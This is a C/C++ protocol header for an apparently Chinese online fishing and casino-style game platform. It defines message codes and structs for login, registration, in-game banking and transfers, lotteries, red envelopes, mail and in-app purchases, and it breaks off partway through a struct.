//比赛开关:0是比赛全部关闭,1是全天赛开周赛关,2是全部开
struct DTP_GP_ButtonSwitch
{
int nButtonSwitch;
};
struct DTP_GP_ShowFuben
{
BYTE cbShowFuben;
};
struct DTP_GP_ShowNiuGame
{
BYTE cbShowNiuGame;
};
struct DTP_GP_IOS2Passed
{
BYTE cbPassed;
};
struct DTP_GP_ChargeFirstInfo//首充礼包领取剩余次数
{
BYTE cbCount;
BYTE cbCanGet;
};
struct DTP_GP_LogonGift
{
BYTE cbCanGetBankruptcy;
int nBankruptcyCount;
int nBankruptcyCountMax;
int nGiveScore;
DWORD dwGiftScore;
int nCanShare;
};
struct DTP_GP_VipInfo
{
BYTE cbVIPLevel;//VIP等级
DWORD dwVIPExp;//VIP经验
DWORD dwExpPerCent;//一分钱对应的经验值
};
struct DTP_GP_ShowFakeTable
{
BYTE bShowFakeTable;
};
struct DTP_GP_Game_CellScore
{
WORD wServerID;
int nCellScore;
};
struct DTP_GP_GamePlayer
{
DWORD dwGamePlayer;
};
struct DTP_GP_GiftTicket
{
DWORD dwGiftTicket;
};
struct DTP_GP_MemberOrder
{
BYTE cbMemberOrder;
};
struct DTP_GP_IOSChargeHide
{
int nID;
char szURL[64];
};
struct DTP_GP_IOSPassed
{
BYTE cbPassed;
};
//登录结果
#define SUB_GP_LOGON_SUCCESS 100 //登录成功
#define SUB_GP_LOGON_FAILURE 101 //登录失败
#define SUB_GP_LOGON_FINISH 102 //登录完成
#define SUB_GP_VALIDATE_MBCARD 103 //登录失败
#define SUB_GP_VALIDATE_PASSPOSTID 104 //登录失败
#define SUB_GP_GUEST_REGISTER_SUCCESS 105 //游客注册成功
//升级提示
#define SUB_GP_UPDATE_NOTIFY 200 //升级提示
//////////////////////////////////////////////////////////////////////////////////
//
#define MB_VALIDATE_FLAGS 0x01 //效验密保
#define LOW_VER_VALIDATE_FLAGS 0x02 //效验低版本
//I D 登录
struct CMD_GP_LogonGameID
{
//系统信息
DWORD dwPlazaVersion; //广场版本
TCHAR szMachineID[LEN_MACHINE_ID]; //机器序列
//登录信息
DWORD dwGameID; //游戏 I D
TCHAR szPassword[LEN_MD5]; //登录密码
TCHAR szPassPortID[LEN_PASS_PORT_ID]; //证件号码
BYTE cbValidateFlags; //校验标识
};
//帐号登录
struct CMD_GP_LogonAccounts
{
//系统信息
DWORD dwPlazaVersion; //广场版本
TCHAR szMachineID[LEN_MACHINE_ID]; //机器序列
//登录信息
TCHAR szPassword[LEN_MD5]; //登录密码
TCHAR szAccounts[LEN_ACCOUNTS]; //登录帐号
TCHAR szPassPortID[LEN_PASS_PORT_ID]; //证件号码
BYTE cbValidateFlags; //校验标识
};
/*
//注册帐号
struct CMD_GP_RegisterAccounts
{
//系统信息
DWORD dwPlazaVersion; //广场版本
TCHAR szMachineID[LEN_MACHINE_ID]; //机器序列
//密码变量
TCHAR szLogonPass[LEN_MD5]; //登录密码
TCHAR szInsurePass[LEN_MD5]; //银行密码
//注册信息
WORD wFaceID; //头像标识
BYTE cbGender; //用户性别
DWORD dwRefererID; //推荐人ID
TCHAR szAccounts[LEN_ACCOUNTS]; //登录帐号
TCHAR szNickName[LEN_NICKNAME]; //用户昵称
TCHAR szSpreader[LEN_ACCOUNTS]; //推荐帐号
TCHAR szPassPortID[LEN_PASS_PORT_ID]; //证件号码
TCHAR szCompellation[LEN_COMPELLATION]; //真实名字
TCHAR szMobilePhone[LEN_MOBILE_PHONE]; //安全手机
BYTE cbValidateFlags; //校验标识
};
*/
//注册帐号
struct CMD_GP_RegisterAccounts
{
//系统信息
DWORD dwPlazaVersion; //广场版本
TCHAR szMachineID[LEN_MACHINE_ID]; //机器序列
//密码变量
TCHAR szLogonPass[LEN_MD5]; //登录密码
TCHAR szInsurePass[LEN_MD5]; //银行密码
//注册信息
WORD wFaceID; //头像标识
BYTE cbGender; //用户性别
//DWORD dwRefererID; //推荐人ID
TCHAR szAccounts[LEN_ACCOUNTS]; //登录帐号
TCHAR szNickName[LEN_NICKNAME]; //用户昵称
TCHAR szSpreader[LEN_ACCOUNTS]; //推荐帐号
TCHAR szPassPortID[LEN_PASS_PORT_ID]; //证件号码
TCHAR szCompellation[LEN_COMPELLATION]; //真实名字
TCHAR szMobilePhone[LEN_MOBILE_PHONE]; //安全手机
BYTE cbValidateFlags; //校验标识
};
//CMD_GP_LogonAccounts、CMD_GP_RegisterAccounts、CMD_GP_Guest_Reg共同使用
#define DTP_GP_USERDATA1 10
#define DTP_GP_USERDATA2 11
#define DTP_GP_USERDATA3 12
#define DTP_GP_USERDATA4 13
#define DTP_GP_USERDATA5 14
#define DTP_GP_USERDATA6 15
#define DTP_GP_USERDATA7 16
#define DTP_GP_USERDATA8 17
#define DTP_GP_PASSWORD 100//玩家密码
#define DTP_GP_LOCALIP 101//内网IP
#define DTP_GP_CLIENTVERSION 102//客户端版本号
#define DTP_GP_CLIENTIDFA 103
struct DTP_GP_Position
{
float longitude;
float latitude;
};
//密码加密
struct DTP_GP_Password
{
WORD wCount;
char cbData[LEN_PASSWORD];
};
//推荐人信息
struct DTP_GP_RefereeInfo
{
DWORD dwRefereeID; //推荐人ID
};
//游客注册
struct CMD_GP_GuestRegister
{
//系统信息
DWORD dwPlazaVersion; //广场版本
TCHAR szMachineID[LEN_MACHINE_ID]; //机器序列
//密码变量
TCHAR szLogonPass[LEN_MD5]; //登录密码
TCHAR szInsurePass[LEN_MD5]; //银行密码
//注册信息
WORD wFaceID; //头像标识
BYTE cbGender; //用户性别
TCHAR szAccounts[LEN_ACCOUNTS]; //登录帐号
TCHAR szNickName[LEN_NICKNAME]; //用户昵称
TCHAR szSpreader[LEN_ACCOUNTS]; //推荐帐号
TCHAR szPassPortID[LEN_PASS_PORT_ID]; //证件号码
TCHAR szCompellation[LEN_COMPELLATION]; //真实名字
TCHAR szMobilePhone[LEN_MOBILE_PHONE]; //安全手机
BYTE cbValidateFlags; //校验标识
};
//游客注册成功
struct CMD_GP_GuestRegisterSuccess
{
//属性资料
WORD wFaceID; //头像标识
DWORD dwUserID; //用户 I D
DWORD dwGameID; //游戏 I D
DWORD dwGroupID; //社团标识
DWORD dwCustomID; //自定标识
DWORD dwUserMedal; //用户奖牌
DWORD dwExperience; //经验数值
DWORD dwLoveLiness; //用户魅力
//用户成绩
SCORE lUserScore; //用户金币
SCORE lUserInsure; //用户银行
//用户信息
BYTE cbGender; //用户性别
BYTE cbMoorMachine; //锁定机器
TCHAR szAccounts[LEN_ACCOUNTS]; //登录帐号
TCHAR szNickName[LEN_ACCOUNTS]; //用户昵称
TCHAR szPassword[LEN_MD5]; //登录密码
TCHAR szGroupName[LEN_GROUP_NAME]; //社团名字
//配置信息
BYTE cbShowServerStatus; //显示服务器状态
};
//手机号注册
#define SUB_GP_MBCODE_VERIFY 427 //手机号验证
#define SUB_GPR_MBREIGSTER 5 //手机号注册
#define SUB_GP_MBLOGONO 7 //手机号登陆
#define SUB_GP_MBCODE_VERIFY_RES 428 //手机号验证
#define SUB_GP_MBREIGSTER_RES 107 //手机号注册
#define SUB_GP_MBLOGONO_RES 108 //手机号登陆
//注册帐号请求发送验证码
struct CMD_GPR_MBVerificationCode
{
TCHAR szMobilePhone[LEN_MOBILE_PHONE]; //手机号
};
struct CMD_GPO_MBVerificationCode
{
bool bIsVerificationCodeSend;
TCHAR szDescribeString[128]; //描述消息
};
//手机注册帐号
struct CMD_GP_MBNumRegister
{
TCHAR szVerificationCode[LEN_MOBILE_PHONE];//验证码
CMD_GP_RegisterAccounts RegisterAccounts;
};
//登录成功
struct CMD_GP_LogonSuccess
{
//属性资料
WORD wFaceID; //头像标识
DWORD dwUserID; //用户 I D
DWORD dwGameID; //游戏 I D
DWORD dwGroupID; //社团标识
DWORD dwCustomID; //自定标识
DWORD dwUserMedal; //用户奖牌
DWORD dwExperience; //经验数值
DWORD dwLoveLiness; //用户魅力
//用户成绩
SCORE lUserScore; //用户金币
SCORE lUserInsure; //用户银行
//用户信息
BYTE cbGender; //用户性别
BYTE cbMoorMachine; //锁定机器
TCHAR szAccounts[LEN_ACCOUNTS]; //登录帐号
TCHAR szNickName[LEN_ACCOUNTS]; //用户昵称
TCHAR szGroupName[LEN_GROUP_NAME]; //社团名字
//配置信息
BYTE cbShowServerStatus; //显示服务器状态
};
//充值信息
struct DTP_GP_RechargeInfo
{
BYTE cbIsRecharge; //是否充值
};
//登录失败
struct CMD_GP_LogonFailure
{
LONG lResultCode; //错误代码
TCHAR szDescribeString[128]; //描述消息
};
//登陆完成
struct CMD_GP_LogonFinish
{
WORD wIntermitTime; //中断时间
WORD wOnLineCountTime; //更新时间
};
//登录失败
struct CMD_GP_ValidateMBCard
{
UINT uMBCardID; //机器序列
};
//升级提示
struct CMD_GP_UpdateNotify
{
BYTE cbMustUpdate; //强行升级
BYTE cbAdviceUpdate; //建议升级
DWORD dwCurrentVersion; //当前版本
};
//////////////////////////////////////////////////////////////////////////////////
//携带信息 CMD_GP_LogonSuccess
#define DTP_GP_GROUP_INFO 1 //社团信息
#define DTP_GP_MEMBER_INFO 2 //会员信息
#define DTP_GP_UNDER_WRITE 3 //个性签名
#define DTP_GP_STATION_URL 4 //主页信息
#define DTP_GP_SPECIALNODEIP 20 //专业节点
#define DTP_GP_SPECIALNODEURL 21 //专业域名
#define DTP_GP_REG_AGENTID 1 //推荐人ID
#define DTP_GP_RECHARGE_INFO 5 //充值信息
//社团信息
struct DTP_GP_GroupInfo
{
DWORD dwGroupID; //社团索引
TCHAR szGroupName[LEN_GROUP_NAME]; //社团名字
};
//会员信息
struct DTP_GP_MemberInfo
{
BYTE cbMemberOrder; //会员等级
SYSTEMTIME MemberOverDate; //到期时间
};
//////////////////////////////////////////////////////////////////////////
#define SUB_GPR_CHARGE_VALUE 603
#define SUB_GPO_CHARGE_VALUE 604
#define SUB_GPR_CHARGE_CANCEL 605
struct CMD_GPR_ChargeValue
{
DWORD dwUserID;
};
struct CMD_GPO_ChargeValue
{
SCORE dwScore;
};
struct CMD_GPR_ChargeCancel
{
DWORD dwUserID;
};
//捕鱼大咖签到系统
//用户签到
#define SUB_GP_QUERY_SIGNIN_INFO 646 //查询签到
#define SUB_GP_QUERY_SIGNIN_INFO_RESULT 647 //签到信息
#define SUB_GP_USER_SIGNIN_REQ 648 //点击签到
#define SUB_GP_USER_SIGNIN_RESULT 649 //签到结果
// 消息体
//签到信息查询
struct CMD_GP_QuerySigninInfo
{
DWORD dwUserID;
};
//签到查询每天信息
struct tagSignInDayInfo
{
BYTE cbType;//1金币、2奖券、3话费、4初级珍珠、5中级珍珠、6高级珍珠、7加速、8散射、9锁定,10藏宝图,11-19是9个炮
BYTE cbAttrib;//本天签没签(1为已签)
int nCount;
};
//签到查询结果
struct CMD_GP_UserSigninInfo
{
int cbNum1;
int cbNum2;
tagSignInDayInfo normal[7];
tagSignInDayInfo vip[7];
};
//点击签到操作
struct CMD_GP_SignIn
{
DWORD dwUserID; //用户ID
BYTE cbVip; //是否是Vip用户, 0 是普通用户签到, 1 是Vip签到
};
//点击签到结果
struct CMD_GP_SignIn_Result
{
bool bSuccess;
BYTE cbUserStatus;//0为普通用户签到,1为VIP签到
SCORE llScoreCont;
SCORE llLotteryCount;
TCHAR szDescription[128];
};
//抽奖查询
struct CMD_GP_QryLtryInfo
{
DWORD dwUserID; //用户ID
};
//查询结果
struct CMD_GP_QryLtryInfo_Res
{
WORD wFreeCount; //免费次数
TCHAR szErrorDescribe[128]; //结果描述
};
//抽奖操作
struct CMD_GP_UserLtry
{
DWORD dwUserID; //用户ID
};
//抽奖结果
struct CMD_GP_UserLtry_Res
{
WORD wIsLtrySuc; //抽奖成功
WORD wPrizeID; //中奖等级
WORD wFreeCount; //免费次数
SCORE lUserScore; //玩家当前剩余金币
TCHAR szErrorDescribe[128]; //结果描述
};
//抽奖消息
struct CMD_GP_LtryMSG_Res
{
TCHAR szName[128]; //用户名称
WORD wPrizeID; //中奖ID
};
#define SUB_GPR_LABA_TIMES 650 //喇叭免费次数
#define SUB_GPO_LABA_TIMES 651
struct CMD_GPR_LabaTimes
{
DWORD dwUserID;
};
struct CMD_GPO_LabaTimes
{
int nLabaTimes;
int nEnrollmentfee;
};
#define SUB_GP_BUY_SKILL 652 //金币兑换技能
#define SUB_GP_BUY_SKILL_RESULT 653 //金币兑换技能结果
struct CMD_GPR_BuySkill
{
DWORD dwUserID;
BYTE cbSkillID;
int nCount;
};
struct CMD_GPO_BuySkill_Result
{
bool bSuccess;
BYTE cbSkillID;
int nCount;
SCORE llScore;
TCHAR szDescribeString[128];
};
#define SUB_GPO_QUERY_FAKE_SERVERINFO_RES 655 //query fake server info
struct tagFakeServerInfo
{
WORD wServerID;
WORD wServerPort;
WORD wOnlineUserCnt;
};
struct CMD_GPR_Query_Fake_Serverinfo_Res
{
WORD wServerCnt;
WORD wDataSize;
tagFakeServerInfo aFakeServerInfo[0];
};
//////////////////////////////////////////////////////////////////////////////////
//列表命令
#define MDM_GP_SERVER_LIST 2 //列表信息
//获取命令
#define SUB_GP_GET_LIST 1 //获取列表
#define SUB_GP_GET_SERVER 2 //获取房间
#define SUB_GP_GET_ONLINE 3 //获取在线
#define SUB_GP_GET_COLLECTION 4 //获取收藏
//列表信息
#define SUB_GP_LIST_TYPE 100 //类型列表
#define SUB_GP_LIST_KIND 101 //种类列表
#define SUB_GP_LIST_NODE 102 //节点列表
#define SUB_GP_LIST_PAGE 103 //定制列表
#define SUB_GP_LIST_SERVER 104 //房间列表
#define SUB_GP_VIDEO_OPTION 105 //视频配置
#define SUB_GP_LIST_SMALL_SERVER 106 //房间列表新
//完成信息
#define SUB_GP_LIST_FINISH 200 //发送完成
#define SUB_GP_SERVER_FINISH 201 //房间完成
//在线信息
#define SUB_GR_KINE_ONLINE 300 //类型在线
#define SUB_GR_SERVER_ONLINE 301 //房间在线
//////////////////////////////////////////////////////////////////////////////////
//获取在线
struct CMD_GP_GetOnline
{
WORD wServerCount; //房间数目
WORD wOnLineServerID[MAX_SERVER]; //房间标识
};
//类型在线
struct CMD_GP_KindOnline
{
WORD wKindCount; //类型数目
tagOnLineInfoKind OnLineInfoKind[MAX_KIND]; //类型在线
};
//房间在线
struct CMD_GP_ServerOnline
{
WORD wServerCount; //房间数目
tagOnLineInfoServer OnLineInfoServer[MAX_SERVER]; //房间在线
};
//////////////////////////////////////////////////////////////////////////////////
//服务命令
#define MDM_GP_USER_SERVICE 3 //用户服务
//账号服务
#define SUB_GP_MODIFY_MACHINE 100 //修改机器
#define SUB_GP_MODIFY_LOGON_PASS 101 //修改密码
#define SUB_GP_MODIFY_INSURE_PASS 102 //修改密码
#define SUB_GP_MODIFY_UNDER_WRITE 103 //修改签名
//修改头像
#define SUB_GP_USER_FACE_INFO 200 //头像信息
#define SUB_GP_SYSTEM_FACE_INFO 201 //系统头像
#define SUB_GP_CUSTOM_FACE_INFO 202 //自定头像
//个人资料
#define SUB_GP_USER_INDIVIDUAL 301 //个人资料
#define SUB_GP_QUERY_INDIVIDUAL 302 //查询信息
#define SUB_GP_MODIFY_INDIVIDUAL 303 //修改资料
//VIP公告
#define SUB_GP_VIPUPGRADE 308
#define MDM_GP_USER_NOTICE 6
#define SUB_GPR_VIPUPGRADE 700
#define SUB_GPO_VIPUPGRADE 701
#define SUB_GPR_CHANGEITEM 702
#define SUB_GPR_BOARDCAST 703
#define SUB_GP_SystemBroadLaBa 704
#define SUB_GPR_EXCHANGE_MOBILE 705 //兑换话费公告
struct CMD_GPR_ExchangeMobile
{
int nExchangeType;//1为移动,2为联通,3为电信
int nExchangeCount;//30, 50, 100
TCHAR szNickName[LEN_NICKNAME];
};
struct CMD_GP_VIPUpgrade
{
BYTE cbVIPLevel;
TCHAR szNickName[LEN_NICKNAME];
};
struct CMD_GP_ChangeItem
{
DWORD dwLotteryCount;
TCHAR szNickName[LEN_NICKNAME];
TCHAR szItemName[LEN_NICKNAME];
};
#define SUB_GPR_NOTICE_WUFU_CARD 719
struct CMD_GPR_NoticeWufuCard
{
int nType;//1为50元京东卡,2为100元京东卡
TCHAR szNickName[LEN_NICKNAME];
};
#define SUB_GPR_FA_HONG_BAO 706
#define SUB_GPO_FA_HONG_BAO 707
struct CMD_GPR_FaHongBao
{
DWORD dwUserID;
WORD wCount;
int nScore;
char szContent[128];
};
struct CMD_GPO_FaHongBao
{
bool bSuccess;
int nCurrentScore;
char szContent[128];
};
#define SUB_GPO_ASK_QIANG 708
#define SUB_GPR_CONFIRM_QIANG 709
#define SUB_GPO_QIANG_RESULT 710
struct CMD_GPO_AskQiang
{
DWORD dwUserID;
DWORD dwHongBaoID;
};
struct CMD_GPO_QiangResult
{
bool bSuccess;
int nScore;
int nCurrentScore;
char szContent1[64];
char szContent2[128];
};
#define SUB_GP_FA_GE_REN_HONG_BAO 711
struct CMD_GPR_FaGeRenHongBao
{
DWORD dwUserID;
DWORD dwGameID;
int nScore;
char szContent[128];
};
#define SUB_GP_QUERY_GE_REN_HONG_BAO 712
struct CMD_GPO_QueryGeRenHongBao
{
DWORD dwUserID;
};
#define SUB_GPO_DAKASAI_NOTICE 713
struct CMD_GPO_DakasaiNotice
{
char szDakasaiNotice[256];
};
#define SUB_GPR_DAKASAI_ROOM_NOTICE 714
struct CMD_GPR_DakasaiRoomNotice
{
DWORD dwUserID;
WORD wServerID;
};
#define SUB_GPR_WUFU_CARD 715
#define SUB_GPO_WUFU_CARD 716
struct CMD_GPR_WufuCard
{
DWORD dwUserID;
};
struct CMD_GPO_WufuCard
{
int nCard[5];
};
#define SUB_GPR_WEEK_BEI 717
#define SUB_GPO_WEEK_BEI 718
struct CMD_GPR_WeekBei
{
DWORD dwUserID;
};
struct CMD_GPO_WeekBei
{
int nWeekBei;
};
#define SUB_GPR_QUERY_WHEEL 720
#define SUB_GPO_QUERY_WHEEL 721
struct CMD_GPR_QueryWheel
{
DWORD dwUserID;
};
struct CMD_GPO_QueryWheel
{
BYTE cbType[10];
int nCount[10];
};
#define SUB_GPR_RECEIVE_WHEEL 722
#define SUB_GPO_RECEIVE_WHEEL 723
struct CMD_GPR_ReceiveWheel
{
DWORD dwUserID;
};
struct CMD_GPO_ReceiveWheel
{
BYTE cbIndex;
int nCurrentScore;
int nCurrentMatchCup;
};
#define SUB_GPR_CHANGE_HEAD 726
struct CMD_GPR_ChangeHead
{
DWORD dwUserID;
int nHeadID;
};
//银行服务
#define SUB_GP_USER_SAVE_SCORE 400 //存款操作
#define SUB_GP_USER_TAKE_SCORE 401 //取款操作
#define SUB_GP_USER_TRANSFER_SCORE 402 //转账操作
#define SUB_GP_USER_INSURE_INFO 403 //银行资料
#define SUB_GP_QUERY_INSURE_INFO 404 //查询银行
#define SUB_GP_USER_INSURE_SUCCESS 405 //银行成功
#define SUB_GP_USER_INSURE_FAILURE 406 //银行失败
#define SUB_GP_QUERY_USER_INFO_REQUEST 407 //查询用户
#define SUB_GP_QUERY_USER_INFO_RESULT 408 //用户信息
#define SUB_GP_USER_TRANSFER_INFO 409
#define SUB_GP_USER_CHECK_PASSWORD 410
#define SUB_GP_USER_CHECK_PASSWORD_RETURN 411
//用户抽奖
#define SUB_GP_QUERY_LOTTERY_INFO 416 //查询抽奖
#define SUB_GP_QUERY_LOTTERY_INFO_RESULT 417 //查询结果
#define SUB_GP_USER_LOTTERY 418 //用户抽奖
#define SUB_GP_USER_LOTTERY_RESULT 419 //用户抽奖
#define SUB_GP_LOTTERY_FINISH 420 //抽奖结束
#define SUB_GP_LOTTERY_MSG 421 //抽奖消息
#define SUB_GP_QUERY_RECHARGE_INFO 422 //充值信息
#define SUB_GP_QUERY_RECHARGE_INFO_RES 423 //充值信息
#define SUB_GPR_CHECK_MOBILE_EXIT 432 //查询是否绑定过手机号
#define SUB_GPR_CHECK_MOBILE_EXIT_RES 433 //查询是否绑定过手机号结果
struct CMD_GPR_NumCheckExit
{
DWORD dwUserID;
};
struct DBR_GP_CHECK_BINDNUM_EXIT_RES
{
BYTE cbIsExit;
};
#define SUB_GPR_BINGDING 643
#define SUB_GPR_BINGDING_RES 644
#define SUB_GPR_SUPERPIRATE_GUIDE_FINISHED 645
struct CMD_GPR_BindReward
{
DWORD dwUserID;
};
struct CMD_GPR_BindRewadRes
{
int nBindReward;
int nShareReward;
BYTE cbNewGuid;
};
struct CMD_GPR_SuperPirateFinished
{
DWORD dwUserID;
};
//手机号绑定验证码请求
#define SUB_GPR_MOBILE_BIND 429 //手机号绑定验证码请求
#define SUB_GPR_MOBILE_BIND_VERIFY 430 //手机号绑定验证码验证
#define SUB_GPO_MOBILE_VERIFY_RES 431 //手机号绑定验证码验证结果
#define DTP_GP_UI_NICKNAME 1//昵称追加包
struct CMD_GPR_MB_BIND_REQUEST
{
DWORD dwUserID; //用户ID
TCHAR szMobilePhone[LEN_MOBILE_PHONE]; //手机号
};
//手机号绑定验证码验证结构体
struct CMD_GP_MobileCaptchaVerific
{
DWORD dwUserID;
TCHAR szMobilePhone[LEN_MOBILE_PHONE]; //绑定手机;
TCHAR szVerificationCode[LEN_MOBILE_PHONE];//验证码
TCHAR szLogonPass[LEN_MD5]; //登录密码
};
//绑定手机号处理结果
struct DBO_GP_MBBindRes
{
BYTE cbResult;//0失败,1成功
int nCurrentGold; //奖励之后的金币值
TCHAR szDescribeString[128]; //描述消息
};
#define SUB_GPR_QUERY_MAIL_ID_LIST 500
#define SUB_GPO_QUERY_MAIL_ID_LIST 501
#define SUB_GPR_QUERY_MAIL_INFO 502 //获取邮件信息
#define SUB_GPO_QUERY_MAIL_INFO 503
#define SUB_GPR_QUERY_MAIL_CONTENT 504
#define SUB_GPO_QUERY_MAIL_CONTENT 505
#define SUB_GPR_QUERY_MAIL_ITEM 506
#define SUB_GPO_QUERY_MAIL_ITEM 507
#define DTP_GP_MAIL_CONTENT 100
#define DTP_GP_MAIL_CHUJI_DRAGON 1
#define DTP_GP_MAIL_ZHONGJI_DRAGON 2
#define DTP_GP_MAIL_GAOJI_DRAGON 3
#define DTP_GP_MAIL_ZHIZUN_DRAGON 4
#define DTP_GP_MAIL_CANNON 5
#define DTP_GP_MAIL_SKILL_JS 6
#define DTP_GP_MAIL_SKILL_SS 7
#define DTP_GP_MAIL_SKILL_BJ 8
#define DTP_GP_MAIL_LOTTERY 9
#define DTP_GP_MAIL_GIFTGOLD 10
struct CMD_GPO_ItemInfo
{
int nItemCount; //道具数量
};
struct CMD_GPO_GetMailItem
{
BYTE cbSuccess;
char szResult[30];
};
struct CMD_GPO_MailContexts
{
BYTE cbGetMailContext;
};
//广播速度
#define SUB_GPR_BROADCAST_SPEED 635 //请求广播速度
#define SUB_GPO_BROADCAST_SPEED_RES 636 //请求广播速度结果
struct CMD_GP_BroadCast_Speed_Res
{
float fBroadCastSpeed;//广播速度
};
#define SUB_GPR_MOBILE_COUNT 637 //请求type类型的物品数量
#define SUB_GPO_MOBILE_COUNT 638 //请求type类型的物品数量结果
struct CMD_GPR_MobileCount
{
DWORD dwUserId;
};
struct CMD_GPO_MobileCount
{
int nCount;
};
#define SUB_GPR_MOBILE_CHARGE 639 //兑换话费
#define SUB_GPO_MOBILE_CHARGE 640 //兑换话费结果
struct CMD_GPR_MobileCharge
{
DWORD dwUserID;
int nMobileCharge;
};
struct CMD_GPO_MobileCharge
{
bool bSuccess;
int nCurrentMobileCharge;
};
//苹果内购充值
#define SUB_GPR_IAP_PRODUCT_LIST 600 //in app purchase
#define SUB_GPO_IAP_PRODUCT_LIST 601
#define SUB_GPO_IAP_TRANSACTIONRECEIPT 602
#define DTP_GP_SHAREINFO 611 //分享(应用名称、链接、显示内容)
struct CMD_GP_ShareInfo
{
char szShareName[32];
char szShareURL[64];
std::string szShareContent;
};
struct CMD_GPR_IAPProduct
{
WORD wRMB;//价格
WORD wType;//0金币,1炮台
char szProductID[25];//商品ID
};
struct CMD_GPR_IAPProductList
{
CMD_GPR_IAPProduct product[12];
};
//邮件系统
struct tagMailInfo
{
unsigned int dwMailID;
BYTE cbMailStatus;
BYTE cbGeted;
std::string szMailTime;//例:2015-08-06 17:33:25,共计19个字符,即19个字节
std::string szMailTitle;
std::string szMailContent;
std::string szDuihuanma;
std::string szGongzhonghao;
};
struct CMD_GPR_MailIDList
{
DWORD dwUserID;
};
struct CMD_GPO_MailIDList
{
BYTE cbCount;
DWORD dwMailID[30];
};
struct CMD_GPR_MailInfo
{
BYTE cbCount;
DWORD dwMailID[30];
};
struct CMD_GPO_MailInfo
{
unsigned int dwMailID;
BYTE cbMailStatus;
BYTE cbGeted;
char szMailTime[20];//例:2015-08-06 17:33:25,共计19个字符,即19个字节
char szMailTitle[64];
};
struct CMD_GPO_MailInfoSet
{
unsigned int dwMailCount;
CMD_GPO_MailInfo MailInfo[30];
};
struct CMD_GPR_MailContent
{
unsigned int dwMailID;
};
struct CMD_GPR_MailGetInfo
{
unsigned int dwMailID;
};
//邮件领取金币
struct CMD_GPR_MailGetScore
{
SCORE lCurrentScore;
bool bSuccess;
char szMailContent[128];
};
#define CMD_GP_QUERY_INSURE_INFO 404
//查询银行
struct CMD_GP_QueryInsureInfo
{
DWORD dwUserID; //用户 I D
};
#define SUB_GP_USER_INSURE_INFO 403 //银行资料
//银行资料
struct CMD_GP_UserInsureInfo
{
WORD wRevenueTake; //税收比例
WORD wRevenueTransfer; //税收比例
WORD wServerID; //房间标识
SCORE lUserScore; //用户金币
SCORE lUserInsure; //银行金币
SCORE lTransferPrerequisite; //转账条件
};
//操作结果
#define SUB_GP_OPERATE_SUCCESS 900 //操作成功
#define SUB_GP_OPERATE_FAILURE 901 //操作失败
//操作失败
struct CMD_GP_OperateFailure
{
LONG lResultCode; //错误代码
TCHAR szDescribeString[128]; //描述消息
};
//操作成功
struct CMD_GP_OperateSuccess
{
LONG lResultCode; //操作代码
TCHAR szDescribeString[128]; //成功消息
};
//////////////////////////////////////////////////////////////////////////////////
//充值查询
struct CMD_GP_RechargeInfo
{
DWORD dwUserID; //用户ID
};
//充值信息结果
struct CMD_GP_RechargeInfo_Res
{
BYTE cbIsRecharge;
TCHAR szDescribeString[128]; //描述消息
};
//修改密码
struct CMD_GP_ModifyLogonPass
{
DWORD dwUserID; //用户 I D
TCHAR szDesPassword[LEN_PASSWORD]; //用户密码
TCHAR szScrPassword[LEN_PASSWORD]; //用户密码
};
//修改密码
struct CMD_GP_ModifyInsurePass
{
DWORD dwUserID; //用户 I D
TCHAR szDesPassword[LEN_PASSWORD]; //用户密码
TCHAR szScrPassword[LEN_PASSWORD]; //用户密码
};
//修改签名
struct CMD_GP_ModifyUnderWrite
{
DWORD dwUserID; //用户 I D
TCHAR szPassword[LEN_PASSWORD]; //用户密码
TCHAR szUnderWrite[LEN_UNDER_WRITE]; //个性签名
};
//////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////
//用户头像
struct CMD_GP_UserFaceInfo
{
WORD wFaceID; //头像标识
DWORD dwCustomID; //自定标识
};
//修改头像
struct CMD_GP_SystemFaceInfo
{
WORD wFaceID; //头像标识
DWORD dwUserID; //用户 I D
TCHAR szPassword[LEN_PASSWORD]; //用户密码
TCHAR szMachineID[LEN_MACHINE_ID]; //机器序列
};
//修改头像
struct CMD_GP_CustomFaceInfo
{
DWORD dwUserID; //用户 I D
TCHAR szPassword[LEN_PASSWORD]; //用户密码
TCHAR szMachineID[LEN_MACHINE_ID]; //机器序列
DWORD dwCustomFace[FACE_CX*FACE_CY]; //图片信息
};
//////////////////////////////////////////////////////////////////////////////////
//绑定机器
struct CMD_GP_ModifyMachine
{
BYTE cbBind; //绑定标志
DWORD dwUserID; //用户标识
TCHAR szPassword[LEN_PASSWORD]; //用户密码
TCHAR szMachineID[LEN_MACHINE_ID]; //机器序列
};
//////////////////////////////////////////////////////////////////////////////////
//个人资料
struct CMD_GP_UserIndividual
{
DWORD dwUserID; //用户 I D
};
//查询信息
struct CMD_GP_QueryIndividual
{
DWORD dwUserID; //用户 I D
};
//修改资料
struct CMD_GP_ModifyIndividual
{
BYTE cbGender; //用户性别
DWORD dwUserID; //用户 I D
TCHAR szPassword[LEN_PASSWORD]; //用户密码
};
//////////////////////////////////////////////////////////////////////////////////
//携带信息 CMD_GP_UserIndividual
#define DTP_GP_UI_NICKNAME 1 //用户昵称
#define DTP_GP_UI_USER_NOTE 2 //用户说明
#define DTP_GP_UI_UNDER_WRITE 3 //个性签名
#define DTP_GP_UI_QQ 4 //Q Q 号码
#define DTP_GP_UI_EMAIL 5 //电子邮件
#define DTP_GP_UI_SEAT_PHONE 6 //固定电话
#define DTP_GP_UI_MOBILE_PHONE 7 //移动电话
#define DTP_GP_UI_COMPELLATION 8 //真实名字
#define DTP_GP_UI_DWELLING_PLACE 9 //联系地址
//////////////////////////////////////////////////////////////////////////////////
//存入金币
struct CMD_GP_UserSaveScore
{
DWORD dwUserID; //用户 I D
SCORE lSaveScore; //存入金币
TCHAR szMachineID[LEN_MACHINE_ID]; //机器序列
};
//提取金币
struct CMD_GP_UserTakeScore
{
DWORD dwUserID; //用户 I D
SCORE lTakeScore; //提取金币
TCHAR szPassword[LEN_MD5]; //银行密码
TCHAR szMachineID[LEN_MACHINE_ID]; //机器序列
};
//转账金币
struct CMD_GP_UserTransferScore
{
DWORD dwUserID; //用户 I D
BYTE cbByNickName; //昵称赠送
SCORE lTransferScore; //转账金币
TCHAR szPassword[LEN_MD5]; //银行密码
TCHAR szNickName[LEN_NICKNAME]; //目标用户
TCHAR szMachineID[LEN_MACHINE_ID]; //机器序列
};
//银行成功
struct CMD_GP_UserInsureSuccess
{
DWORD dwUserID; //用户 I D
SCORE lUserScore; //用户金币
SCORE lUserInsure; //银行金币
TCHAR szDescribeString[128]; //描述消息
};
//赠送信息
struct DBO_GP_UserInsureTransferInfo
{
DWORD dwRecordID;
